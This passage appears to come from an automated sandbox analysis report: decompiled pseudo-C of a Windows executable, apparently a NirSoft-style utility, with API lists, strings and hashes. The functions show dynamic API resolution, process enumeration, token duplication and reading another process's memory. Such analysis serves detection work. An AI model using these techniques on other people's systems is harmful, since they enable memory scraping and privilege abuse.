					if(_t2 != 0) {
						_t2 = GetProcAddress(_t5, "EnumProcessModules");
						 *0x40f840 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t5, "GetModuleFileNameExW");
							 *0x40f838 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t5, "EnumProcesses");
								 *0x40fa6c = _t2;
								if(_t2 != 0) {
									_t2 = GetProcAddress(_t5, "GetModuleInformation");
									 *0x40f844 = _t2;
									if(_t2 != 0) {
										 *0x4101bc = 1;
									}
								}
							}
						}
					}
					if( *0x4101bc == 0) {
						_t2 = FreeLibrary(_t5);
					}
					goto L10;
				}
			}

0x00409179
0x00409209
0x00409209
0x00409185
0x0040918a
0x0040918f
0x00409208
0x00000000
0x00409191
0x0040919e
0x004091a2
0x004091a7
0x004091af
0x004091b3
0x004091b8
0x004091c0
0x004091c4
0x004091c9
0x004091d1
0x004091d5
0x004091da
0x004091e2
0x004091e6
0x004091eb
0x004091ed
0x004091ed
0x004091eb
0x004091da
0x004091c9
0x004091b8
0x004091ff
0x00409202
0x00409202
0x00000000
0x004091ff

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040919E
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004091AF
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 004091C0
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004091D1
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 004091E2
FreeLibrary.KERNEL32(00000000), ref: 00409202

Strings

EnumProcesses, xrefs: 004091CB
GetModuleFileNameExW, xrefs: 004091BA
GetModuleBaseNameW, xrefs: 00409198
GetModuleInformation, xrefs: 004091DC
EnumProcessModules, xrefs: 004091A9
psapi.dll, xrefs: 00409180

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Library$Load$Freememsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1182944575-70141382
Opcode ID: d87044beb2f544c687dd7353a18839beb98a5be9ca02ea53753111702b61b9a8
Instruction ID: e8d56a808bd010e6a3fef0dff4ae07571f85a6d4972d2e5c8a67e4e39b9e152a
Opcode Fuzzy Hash: d87044beb2f544c687dd7353a18839beb98a5be9ca02ea53753111702b61b9a8
Instruction Fuzzy Hash: 33017175A41207BAD7205B656D88FB739E49B91B51B14413FE404F12D2DB7C88459F2C

Uniqueness

Uniqueness Score: -1.00%

Function 004090EE, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090EE() {
				void* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t4;

				if( *0x4101b8 != 0) {
					return _t1;
				}
				_t2 = GetModuleHandleW(L"kernel32.dll");
				_t4 = _t2;
				if(_t4 == 0) {
					L9:
					return _t2;
				}
				_t2 = GetProcAddress(_t4, "CreateToolhelp32Snapshot");
				 *0x40f83c = _t2;
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t4, "Module32First");
					 *0x40f834 = _t2;
					if(_t2 != 0) {
						_t2 = GetProcAddress(_t4, "Module32Next");
						 *0x40f830 = _t2;
						if(_t2 != 0) {
							_t2 = GetProcAddress(_t4, "Process32First");
							 *0x40f5c4 = _t2;
							if(_t2 != 0) {
								_t2 = GetProcAddress(_t4, "Process32Next");
								 *0x40f828 = _t2;
								if(_t2 != 0) {
									 *0x4101b8 = 1;
								}
							}
						}
					}
				}
				goto L9;
			}

0x004090f5
0x00409171
0x00409171
0x004090fd
0x00409103
0x00409107
0x00409170
0x00000000
0x00409170
0x00409116
0x0040911a
0x0040911f
0x00409127
0x0040912b
0x00409130
0x00409138
0x0040913c
0x00409141
0x00409149
0x0040914d
0x00409152
0x0040915a
0x0040915e
0x00409163
0x00409165
0x00409165
0x00409163
0x00409152
0x00409141
0x00409130
0x00000000

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00408C9F), ref: 004090FD
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00409116
GetProcAddress.KERNEL32(00000000,Module32First), ref: 00409127
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00409138
GetProcAddress.KERNEL32(00000000,Process32First), ref: 00409149
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0040915A

Strings

Module32Next, xrefs: 00409132
Process32First, xrefs: 00409143
CreateToolhelp32Snapshot, xrefs: 00409110
Module32First, xrefs: 00409121
Process32Next, xrefs: 00409154
kernel32.dll, xrefs: 004090F8

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 667068680-3953557276
Opcode ID: 684ed8b1756a354eaa76eb9bf25297defa38c2621817bb94c0e51767f3dc11ec
Instruction ID: 22745fca4ee5753030f6263dae9a7fe791be1dfa5e14f8ddaef7bf0c79e2feda
Opcode Fuzzy Hash: 684ed8b1756a354eaa76eb9bf25297defa38c2621817bb94c0e51767f3dc11ec
Instruction Fuzzy Hash: D6F01D71F41313EAE761AB786E84F673AF85A85B44714403BA804F53D9EB7C8C46CA6C

Uniqueness

Uniqueness Score: -1.00%

Function 00409F9C, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00409F9C(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8, long long* _a12, long long _a16) {
				void _v514;
				char _v516;
				void _v1026;
				char _v1028;
				void _v1538;
				char _v1540;
				void* _t39;
				intOrPtr* _t50;
				void* _t61;

				_t50 = __ecx;
				_push(0x1fe);
				_push(0);
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					_v1540 = 0;
					memset( &_v1538, ??, ??);
					_v1028 = 0;
					memset( &_v1026, 0, 0x1fe);
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					L0040B1EC();
					 *((long long*)(_t61 + 0x2c)) = _a16;
					L0040B1EC();
					_t39 =  *((intOrPtr*)( *_t50 + 0x10))(_a4,  &_v1540,  &_v1028, 0xff,  &_v1028, 0xff,  &_v516,  &_v516, 0xff, L"%%0.%df", _a8);
					if (_t39 != 0) goto L3;
					return _t39;
				}
				_v516 = 0;
				memset( &_v514, ??, ??);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fe);
				L0040B1EC();
				 *((long long*)(_t61 + 0x20)) =  *_a12;
				L0040B1EC();
				return  *((intOrPtr*)( *_t50 + 0x10))(_a4,  &_v516, 0x40c4e8, 0xff,  &_v516, 0xff,  &_v1028,  &_v1028, 0xff, L"%%0.%df", _a8);
			}

0x00409faf
0x00409fb4
0x00409fb5
0x00409fb6
0x0040a043
0x0040a04a
0x0040a058
0x0040a05f
0x0040a06d
0x0040a074
0x0040a08e
0x0040a099
0x0040a0ab
0x0040a0c9
0x0040a0ce
0x00000000
0x0040a0ce
0x00409fc3
0x00409fca
0x00409fd8
0x00409fdf
0x00409ff9
0x0040a006
0x0040a018
0x00000000

APIs

memset.MSVCRT ref: 00409FCA
memset.MSVCRT ref: 00409FDF
_snwprintf.MSVCRT ref: 00409FF9
_snwprintf.MSVCRT ref: 0040A018
memset.MSVCRT ref: 0040A04A
memset.MSVCRT ref: 0040A05F
memset.MSVCRT ref: 0040A074
_snwprintf.MSVCRT ref: 0040A08E
_snwprintf.MSVCRT ref: 0040A0AB

Strings

%%0.%df, xrefs: 00409FEC, 0040A081

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf
String ID: %%0.%df
API String ID: 3473751417-763548558
Opcode ID: 9c1d8227a7254b2b345134e9c44fb34bf141cbad45bd10bf7a91d83f6708c758
Instruction ID: 9f87d91c1f60d09641f67b426c6f30a2a5dee33008317eed3759a4a42041cb36
Opcode Fuzzy Hash: 9c1d8227a7254b2b345134e9c44fb34bf141cbad45bd10bf7a91d83f6708c758
Instruction Fuzzy Hash: 61315D72940129AADB20DF95CC89FEB777CEF49344F0004FAB509B6152D7349A94CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040620E, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0040620E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, struct HWND__* _a8, WCHAR* _a12) {
				void _v8202;
				short _v8204;
				void* _t27;
				short _t29;
				short _t40;
				void* _t41;
				struct HMENU__* _t43;
				short _t50;
				void* _t52;
				struct HMENU__* _t59;

				E0040B550(0x2008, __ecx);
				_t65 = _a8 - 4;
				if(_a8 != 4) {
					__eflags = _a8 - 5;
					if(_a8 == 5) {
						_t50 =  *0x40fe2c; // 0x0
						__eflags = _t50;
						if(_t50 == 0) {
							L8:
							_push(_a12);
							_t27 = 5;
							E00405E8D(_t27);
							_t29 = CreateDialogParamW(_a4, _a12, 0, E00406209, 0);
							__eflags = _t29;
							_a8 = _t29;
							if(_t29 == 0) {
								_a8 = CreateDialogParamW(_a4, _a12, GetDesktopWindow(), E00406209, 0);
							}
							_v8204 = 0;
							memset( &_v8202, 0, 0x2000);
							GetWindowTextW(_a8,  &_v8204, 0x1000);
							__eflags = _v8204;
							if(__eflags != 0) {
								E00405FAC(__eflags, L"caption",  &_v8204, 0);
							}
							EnumChildWindows(_a8, E0040614F, 0);
							DestroyWindow(_a8);
						} else {
							while(1) {
								_t40 =  *_t50;
								__eflags = _t40;
								if(_t40 == 0) {
									goto L8;
								}
								__eflags = _t40 - _a12;
								if(_t40 != _a12) {
									_t50 = _t50 + 4;
									__eflags = _t50;
									continue;
								}
								goto L13;
							}
							goto L8;
						}
					}
				} else {
					_push(_a12);
					_t41 = 4;
					E00405E8D(_t41);
					_pop(_t52);
					_t43 = LoadMenuW(_a4, _a12);
					 *0x40fe20 =  *0x40fe20 & 0x00000000;
					_t59 = _t43;
					_push(1);
					_push(_t59);
					_push(_a12);
					E0040605E(_t52, _t65);
					DestroyMenu(_t59);
				}
				L13:
				return 1;
			}

0x00406216
0x0040621b
0x00406222
0x0040625f
0x00406263
0x00406269
0x00406271
0x00406273
0x00406289
0x00406289
0x0040628e
0x0040628f
0x004062a9
0x004062ab
0x004062ad
0x004062b0
0x004062c3
0x004062c3
0x004062d3
0x004062da
0x004062f1
0x004062f7
0x004062fe
0x0040630d
0x00406312
0x0040631e
0x00406327
0x00406275
0x00406283
0x00406283
0x00406285
0x00406287
0x00000000
0x00000000
0x00406277
0x0040627a
0x00406280
0x00406280
0x00000000
0x00406280
0x00000000
0x0040627a
0x00000000
0x00406283
0x00406273
0x00406224
0x00406224
0x00406229
0x0040622a
0x0040622f
0x00406236
0x0040623c
0x00406243
0x00406245
0x00406247
0x00406248
0x0040624b
0x00406254
0x00406254
0x0040632d
0x00406334

APIs

LoadMenuW.USER32 ref: 00406236

Part of subcall function 0040605E: GetMenuItemCount.USER32(?), ref: 00406074
Part of subcall function 0040605E: memset.MSVCRT ref: 00406093
Part of subcall function 0040605E: GetMenuItemInfoW.USER32 ref: 004060CF
Part of subcall function 0040605E: wcschr.MSVCRT ref: 004060E7

DestroyMenu.USER32(00000000), ref: 00406254
CreateDialogParamW.USER32 ref: 004062A9
GetDesktopWindow.USER32 ref: 004062B4
CreateDialogParamW.USER32 ref: 004062C1
memset.MSVCRT ref: 004062DA
GetWindowTextW.USER32 ref: 004062F1
EnumChildWindows.USER32 ref: 0040631E
DestroyWindow.USER32(00000005), ref: 00406327

Part of subcall function 00405E8D: _snwprintf.MSVCRT ref: 00405EB2

Strings

caption, xrefs: 00406308

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Window$CreateDestroyDialogItemParammemset$ChildCountDesktopEnumInfoLoadTextWindows_snwprintfwcschr
String ID: caption
API String ID: 973020956-4135340389
Opcode ID: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction ID: 5799234da4ec4704710f53c86087676007739614705d168b27d1301efcd7018e
Opcode Fuzzy Hash: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction Fuzzy Hash: D2316171900208FFEF11AF94DC859AF3B69FB04314F11847AF90AA51A1D7758964CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004081E4, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E004081E4(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void _v2050;
				char _v2052;
				void _v4098;
				long _v4100;
				void _v6146;
				char _v6148;
				void* __esi;
				void* _t43;
				intOrPtr* _t49;
				intOrPtr* _t57;
				void* _t58;
				void* _t59;
				intOrPtr _t62;
				intOrPtr _t63;

				_t49 = __ecx;
				E0040B550(0x1800, __ecx);
				_t57 = _t49;
				E00407343(_t57, _a4, L"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\r\n");
				_v4100 = 0;
				memset( &_v4098, 0, 0x7fe);
				_v2052 = 0;
				memset( &_v2050, 0, 0x7fe);
				_v6148 = 0;
				memset( &_v6146, 0, 0x7fe);
				_t59 = _t58 + 0x24;
				_t62 =  *0x40fe30; // 0x0
				if(_t62 != 0) {
					_push(0x40fe30);
					_push(L"<meta http-equiv=\'content-type\' content=\'text/html;charset=%s\'>");
					_push(0x400);
					_push( &_v2052);
					L0040B1EC();
					_t59 = _t59 + 0x10;
				}
				_t63 =  *0x40fe28; // 0x0
				if(_t63 != 0) {
					wcscpy( &_v4100, L"<table dir=\"rtl\"><tr><td>\r\n");
				}
				E00407AFD(_t57, _t57, _a4,  *((intOrPtr*)( *_t57 + 0x20))(),  &_v2052,  &_v4100);
				_push( *((intOrPtr*)( *_t57 + 0x90))( *((intOrPtr*)( *_t57 + 0x8c))()));
				_push(L"<br><h4>%s <a href=\"http://www.nirsoft.net/\" target=\"newwin\">%s</a></h4><p>");
				_push(0x400);
				_push( &_v6148);
				L0040B1EC();
				_t43 = E00407343(_t57, _a4,  &_v6148);
				_t64 = _a8 - 5;
				if(_a8 == 5) {
					return E00407D03(_t57, _t64, _a4);
				}
				return _t43;
			}

0x004081e4
0x004081ec
0x004081fc
0x00408200
0x00408215
0x0040821c
0x0040822a
0x00408231
0x0040823f
0x00408246
0x0040824b
0x0040824e
0x0040825a
0x0040825c
0x00408261
0x0040826c
0x0040826d
0x0040826e
0x00408273
0x00408273
0x00408276
0x0040827c
0x0040828a
0x00408290
0x004082ab
0x004082c5
0x004082c6
0x004082d1
0x004082d2
0x004082d3
0x004082e7
0x004082ec
0x004082f0
0x00000000
0x004082f5
0x004082fe

APIs

memset.MSVCRT ref: 0040821C
memset.MSVCRT ref: 00408231
memset.MSVCRT ref: 00408246
_snwprintf.MSVCRT ref: 0040826E
wcscpy.MSVCRT ref: 0040828A
_snwprintf.MSVCRT ref: 004082D3

Strings

<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00408261
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 004081F4
<table dir="rtl"><tr><td>, xrefs: 00408284
<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 004082C6

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf$wcscpy
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>
API String ID: 1283228442-2366825230
Opcode ID: 31debdc799413e4dd011bdb917084947cf92358cc83d1d17746b8cf035e2114d
Instruction ID: b93c0f476eae2b4120c079c2f39cbc6d180985b1aedf8bde3229837f55527c2f
Opcode Fuzzy Hash: 31debdc799413e4dd011bdb917084947cf92358cc83d1d17746b8cf035e2114d
Instruction Fuzzy Hash: 5C2157769001186ACB21AB95CC45FEE77BCFF48745F0440BEB549B3191DB389B848BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040920A, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040920A(wchar_t* __edi, wchar_t* __esi) {
				void _v526;
				long _v528;
				wchar_t* _t17;
				signed int _t40;
				wchar_t* _t50;

				_t50 = __edi;
				if(__esi[0] != 0x3a) {
					_t17 = wcschr( &(__esi[1]), 0x3a);
					if(_t17 == 0) {
						_t40 = E0040488D(__esi, L"\\systemroot");
						if(_t40 < 0) {
							if( *__esi != 0x5c) {
								wcscpy(__edi, __esi);
							} else {
								_v528 = 0;
								memset( &_v526, 0, 0x208);
								E00404C08( &_v528);
								memcpy(__edi,  &_v528, 4);
								__edi[1] = __edi[1] & 0x00000000;
								wcscat(__edi, __esi);
							}
						} else {
							_v528 = 0;
							memset( &_v526, 0, 0x208);
							E00404C08( &_v528);
							wcscpy(__edi,  &_v528);
							wcscat(__edi, __esi + 0x16 + _t40 * 2);
						}
						L11:
						return _t50;
					}
					_push( &(_t17[0]));
					L4:
					wcscpy(_t50, ??);
					goto L11;
				}
				_push(__esi);
				goto L4;
			}

0x0040920a
0x00409218
0x00409223
0x0040922c
0x0040924b
0x00409253
0x0040929b
0x004092e4
0x0040929d
0x004092a3
0x004092b1
0x004092bd
0x004092cc
0x004092d1
0x004092d8
0x004092dd
0x00409255
0x0040925b
0x00409269
0x00409275
0x00409282
0x0040928d
0x00409292
0x004092ec
0x004092ef
0x004092ef
0x00409231
0x00409232
0x00409233
0x00000000
0x00409239
0x0040921a
0x00000000

APIs

wcschr.MSVCRT ref: 00409223
wcscpy.MSVCRT ref: 00409233

Part of subcall function 0040488D: wcslen.MSVCRT ref: 0040489C
Part of subcall function 0040488D: wcslen.MSVCRT ref: 004048A6
Part of subcall function 0040488D: _memicmp.MSVCRT ref: 004048C1

wcscpy.MSVCRT ref: 00409282
wcscat.MSVCRT ref: 0040928D
memset.MSVCRT ref: 00409269

Part of subcall function 00404C08: GetWindowsDirectoryW.KERNEL32(0041C4C0,00000104,?,004092C2,?,?,00000000,00000208,00000000), ref: 00404C1E
Part of subcall function 00404C08: wcscpy.MSVCRT ref: 00404C2E

memset.MSVCRT ref: 004092B1
memcpy.MSVCRT ref: 004092CC
wcscat.MSVCRT ref: 004092D8

Strings

\systemroot, xrefs: 00409240

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
String ID: \systemroot
API String ID: 4173585201-1821301763
Opcode ID: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction ID: 02e88fdf4673b821ef0819f9ed59a437f9dc8f0c8d82ea34f2c30dfda84fedc2
Opcode Fuzzy Hash: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction Fuzzy Hash: 0D2198A680530479E614F7A14C8ADAB73ACDF55714F2049BFB515B20C3EB3CA94447AE

Uniqueness

Uniqueness Score: -1.00%

Function 00409C70, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 63
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00409C70(signed int* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				char* _v16;
				int _v18;
				signed int _v20;
				char _v36;
				intOrPtr* _t21;
				struct HINSTANCE__* _t22;
				signed int _t23;
				signed int _t24;
				_Unknown_base(*)()* _t26;
				char* _t28;
				int _t31;

				_t21 = _a4;
				if( *_t21 == 0) {
					_t22 = GetModuleHandleW(L"kernel32.dll");
					_v8 = _t22;
					_t23 = GetProcAddress(_t22, "GetProcAddress");
					 *_a4 = _t23;
					_t24 = _t23 ^ _v8;
					if((_t24 & 0xfff00000) != 0) {
						_t26 = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "LdrGetProcedureAddress");
						_v20 = _v20 & 0x00000000;
						_v12 = _t26;
						asm("stosd");
						asm("stosw");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsw");
						_t28 =  &_v36;
						asm("movsb");
						_v16 = _t28;
						_v20 = strlen(_t28);
						_t31 = strlen( &_v36);
						_v18 = _t31;
						_t24 = _v12(_v8,  &_v20, 0, _a4);
					}
					return _t24;
				}
				return _t21;
			}

0x00409c73
0x00409c7c
0x00409c90
0x00409c9f
0x00409ca2
0x00409ca7
0x00409ca9
0x00409cb1
0x00409cc0
0x00409cc2
0x00409cc7
0x00409ccf
0x00409cd0
0x00409cd7
0x00409cd8
0x00409cd9
0x00409cda
0x00409cdc
0x00409ce0
0x00409ce1
0x00409ce9
0x00409cf1
0x00409cfb
0x00409d08
0x00409d08
0x00000000
0x00409d0d
0x00409d0f

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
strlen.MSVCRT ref: 00409CE4
strlen.MSVCRT ref: 00409CF1

Strings

LdrGetProcedureAddress, xrefs: 00409CBA
ntdll.dll, xrefs: 00409CB3
GetProcAddress, xrefs: 00409C98, 00409C9D
kernel32.dll, xrefs: 00409C8B

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcstrlen
String ID: GetProcAddress$LdrGetProcedureAddress$kernel32.dll$ntdll.dll
API String ID: 1027343248-2054640941
Opcode ID: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction ID: e4d1d00a07c818a936495f608e4711dda3cd6d1ffd1a72fa6585e5ef64b3ff18
Opcode Fuzzy Hash: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction Fuzzy Hash: A311FE72910218EADB01EFE5DC45ADEBBB9EF48710F10446AE900B7250D7B5AA04CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040289F, Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 25
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040289F(intOrPtr* __esi) {
				void* _t9;
				struct HINSTANCE__* _t10;
				_Unknown_base(*)()* _t14;

				if( *(__esi + 0x10) == 0) {
					_t10 = LoadLibraryW(L"advapi32.dll");
					 *(__esi + 0x10) = _t10;
					 *((intOrPtr*)(__esi + 0xc)) = GetProcAddress(_t10, "CreateProcessWithLogonW");
					 *((intOrPtr*)(__esi)) = GetProcAddress( *(__esi + 0x10), "CreateProcessWithTokenW");
					 *((intOrPtr*)(__esi + 4)) = GetProcAddress( *(__esi + 0x10), "OpenProcessToken");
					_t14 = GetProcAddress( *(__esi + 0x10), "DuplicateTokenEx");
					 *(__esi + 8) = _t14;
					return _t14;
				}
				return _t9;
			}

0x004028a3
0x004028ab
0x004028bd
0x004028ca
0x004028d7
0x004028e3
0x004028e6
0x004028e8
0x00000000
0x004028eb
0x004028ec

APIs

LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

Strings

CreateProcessWithLogonW, xrefs: 004028B7
OpenProcessToken, xrefs: 004028CF
CreateProcessWithTokenW, xrefs: 004028C2
DuplicateTokenEx, xrefs: 004028DB
advapi32.dll, xrefs: 004028A6

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessWithLogonW$CreateProcessWithTokenW$DuplicateTokenEx$OpenProcessToken$advapi32.dll
API String ID: 2238633743-1970996977
Opcode ID: 736db8e764dc1c3a829da2c2b507ec82b50fe6502085f5c463c853d5cc7dc2a7
Instruction ID: fe34eb2af2a63a360b7e1287e200b812ce4d940bd8def4616d2569e5b7a8a532
Opcode Fuzzy Hash: 736db8e764dc1c3a829da2c2b507ec82b50fe6502085f5c463c853d5cc7dc2a7
Instruction Fuzzy Hash: AEF09874A40708EBCB30EFB59D49B07BAF5FB94710B114F2AE49662690D7B8A004CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC9, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401AC9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, void* _a8, void* _a12, void* _a16) {
				long _v8;
				int _v12;
				intOrPtr _v16;
				int _v20;
				int _v24;
				char _v28;
				void _v538;
				char _v540;
				int _v548;
				char _v564;
				char _v22292;
				void* __edi;
				void* __esi;
				void* _t37;
				void* _t48;
				void* _t56;
				signed int _t57;
				void* _t67;
				long _t69;
				void* _t70;
				void* _t72;
				void* _t74;
				void* _t76;

				_t67 = __edx;
				E0040B550(0x5714, __ecx);
				_t37 = OpenProcess(0x10, 0, _a16);
				_t82 = _t37;
				_a16 = _t37;
				if(_t37 == 0) {
					_t69 = GetLastError();
				} else {
					_t72 =  &_v22292;
					E0040171F(_t72, _t82);
					_v8 = 0;
					if(ReadProcessMemory(_a16, _a8, _t72, 0x54f4,  &_v8) == 0) {
						_t69 = GetLastError();
					} else {
						_t48 = E00405642( &_v564);
						_t74 = _v548;
						_t70 = _t48;
						_a12 = _t74;
						_v540 = 0;
						memset( &_v538, 0, 0x1fe);
						asm("cdq");
						_push(_t67);
						_push(_t74);
						_push(_t70);
						_push(L"%d  %I64x");
						_push(0xff);
						_push( &_v540);
						L0040B1EC();
						_v548 = 0;
						E004055D1( &_v540,  &_v564);
						_t16 = _t70 + 0xa; // 0xa
						_t68 = _t16;
						_v24 = 0;
						_v12 = 0;
						_v20 = 0;
						_v16 = 0x100;
						_v28 = 0;
						E0040559A( &_v28, _t16);
						_t76 = _v12;
